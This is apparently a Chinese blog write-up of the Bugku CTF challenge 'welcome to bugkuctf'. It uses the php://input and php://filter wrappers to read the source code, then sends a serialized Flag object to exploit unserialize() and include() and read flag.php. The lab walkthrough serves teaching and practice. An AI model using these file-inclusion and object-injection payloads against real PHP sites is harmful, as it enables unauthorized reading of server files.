CTF之Bugku welcome to bugkuctf

日常抓包
在这里插入图片描述
抓到后在proxy中,点击右键发送到这里。
点击Go
分析一波,user、file、pass都是GET方式获取
然后读取的user的内容要和“welcome to bugkuctf”相同
include()是动态获取文件名,也就是这个文件名是hint.php
接着我们要让user的值和我们预想的一样,那就要我们手动传值了
这里用到的是php://input,一个php的伪协议,可以读到我们post方法传的值
然后构造下,点击Go
在这里插入图片描述
页面变成 hello friend!
不对啊,那我们来看看文件里面有什么
就是index.php和hint.php这两个文件
看index.php是因为这个文件一般都会有重要信息
用 file=php://filter/read=convert.base64.encode/resource=hint.php
大概作用就是把文件的内容编码显示出来,不可以直接显示,文件可能有些敏感代码会导致无法显示
在这里插入图片描述
反编码

<?php
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
			echo "<br>";
		return ("good");
        }  
    }  
}  
?>

看不出来什么东西
至于这个_tostring方法,就是这个类在创建实例化时就会被调用,相当于java中的构造方法
我们再看看index.php里面的
url一样的构造,后面文件名改下
在这里插入图片描述
反编码

<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  
  
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";  
    if(preg_match("/flag/",$file)){ 
		echo "ä¸èƒ½çŽ°åœ¨å°±ç»™ä½ flag哦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}  
  
?>  
  
<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 --> 

下面那一段之前就看过了
上面的if条件句就是说,如果文件名有flag就不能给flag,那段乱码字符串就是这个说这个
至于为什么乱码我也不知道
所以我们要绕过这里
看看else语句
动态获取文件名(hint.php)、password反序列化、打印password
根据上面反编码的FLAG类,以及这里屏蔽flag关键字,猜测这个password是flag.php
要注意,password是反序列化的
我们可以写个脚本得到序列化的password
可以把序列化理解为一种保护数据在传送时的一种编码
脚本

<?php
	class Flag{
		public $file;
	}

	$a = new FLAG();
	$a->file="flag.php";
	$a = serialize($a);
	print_r($a);
  ?>

放到自己配置的服务器跑一下
php服务器的搭建下载一个appserv
傻瓜式安装,实在不行就搜教程
在这里插入图片描述
把这个得出来的序列串当作password传进去
在这里插入图片描述
搞定

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值